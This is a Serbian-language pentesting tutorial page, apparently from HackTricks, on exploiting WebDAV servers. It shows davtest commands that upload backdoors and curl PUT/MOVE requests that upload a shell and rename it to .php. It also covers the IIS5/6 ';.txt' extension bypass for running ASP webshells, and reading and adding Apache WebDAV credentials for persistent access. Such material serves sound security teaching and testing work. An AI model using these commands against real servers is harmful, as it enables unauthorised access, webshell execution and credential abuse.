83 lines
3.6 KiB
Markdown

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Kada se radi sa **HTTP serverom sa WebDav** omogućenim, moguće je **manipulisati datotekama** ako imate prave **akreditive**, obično proverene putem **HTTP Basic Authentication**. Sticanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**.
Pristup WebDav serveru obično zahteva **važeće akreditive**, pri čemu je [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) uobičajena metoda za njihovo sticanje.
Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:
- **Upload**-ovati datoteke sa **izvršnim ekstenzijama** direktno ako nisu ograničene.
- **Preimenujte** uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
- **Kopirajte** uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.
## DavTest
**Davtest** pokušava da **uploaduje nekoliko datoteka sa različitim ekstenzijama** i **proverava** da li je ekstenzija **izvršena**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Ovo ne znači da se **.txt** i **.html ekstenzije izvršavaju**. To znači da možete **pristupiti ovim datotekama** putem veba.
## Cadaver
Možete koristiti ovaj alat da **se povežete na WebDav** server i izvršite radnje (kao što su **upload**, **move** ili **delete**) **ručno**.
```
cadaver <IP>
```
## PUT zahtev
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE zahtev
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav ranjivost
Ova ranjivost je veoma interesantna. **WebDav** **ne dozvoljava** **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Ali možete **obići** ovo **dodajući** na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**).
Zatim možete **upload** vaš shell kao ".**txt" fajl** i **kopirati/premestiti ga u ".asp;.txt"** fajl. Pristupanjem tom fajlu preko web servera, biće **izvršen** (cadaver će reći da akcija premestanja nije uspela, ali jeste).
![](<../../images/image (1092).png>)
## Post akreditivi
Ako je Webdav koristio Apache server, trebali biste pogledati konfigurisane sajtove u Apache-u. Obično:\
\_**/etc/apache2/sites-enabled/000-default**_
Unutra možete pronaći nešto poput:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Kao što možete videti, postoje datoteke sa važećim **credentials** za **webdav** server:
```
/etc/apache2/users.password
```
Unutar ovog tipa datoteka naći ćete **korisničko ime** i **hash** lozinke. Ovo su akreditivi koje webdav server koristi za autentifikaciju korisnika.
Možete pokušati da ih **provalite**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Da biste proverili da li nove kredencijale rade, možete uraditi:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Reference
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}